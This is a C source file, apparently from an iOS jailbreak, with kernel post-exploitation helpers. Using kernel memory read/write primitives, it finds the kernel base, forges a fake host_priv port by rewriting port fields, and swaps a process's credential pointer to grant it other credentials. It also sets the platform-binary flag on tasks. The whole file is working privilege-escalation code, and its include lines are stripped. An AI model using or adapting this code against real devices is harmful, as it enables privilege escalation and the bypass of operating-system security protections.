#include #include #include #include #include /*#include */ /*#include */ #include extern void NSLog(CFStringRef, ...); #define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false) #include "kmem.h" #include "koffsets.h" #include "kutils.h" #include "find_port.h" #define TF_PLATFORM 0x00000400 /* task is a platform binary */ uint64_t the_realhost; uint64_t cached_task_self_addr = 0; uint64_t task_self_addr() { if (cached_task_self_addr == 0) { cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); LOG("task self: 0x%llx", cached_task_self_addr); } return cached_task_self_addr; } uint64_t ipc_space_kernel() { return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); } uint64_t current_thread() { uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND); return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); } uint64_t find_kernel_base() { uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); the_realhost = realhost; uint64_t base = realhost & ~0xfffULL; // walk down to find the magic: for (int i = 0; i < 0x10000; i++) { if (ReadKernel32(base) == MACH_HEADER_MAGIC) { return base; } base -= 0x1000; } return 0; } mach_port_t fake_host_priv_port = MACH_PORT_NULL; // build a fake host priv port mach_port_t fake_host_priv() { if (fake_host_priv_port != MACH_PORT_NULL) { return fake_host_priv_port; } // get the address of realhost: uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // allocate a port mach_port_t port = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); if (err != KERN_SUCCESS) { LOG("failed to allocate port"); return MACH_PORT_NULL; } // get a send right mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); // locate the port uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); // change the type of the port #define IKOT_HOST_PRIV 4 #define IO_ACTIVE 0x80000000 WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV); // change the space of the port WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); // set the kobject WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost); fake_host_priv_port = port; return port; } int message_size_for_kalloc_size(int kalloc_size) { return ((3 * kalloc_size) / 4) - 0x74; } uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr) { uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED)); WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr); return orig_creds; } void set_platform_binary(uint64_t proc) { uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK)); uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS)); task_t_flags |= TF_PLATFORM; WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags); }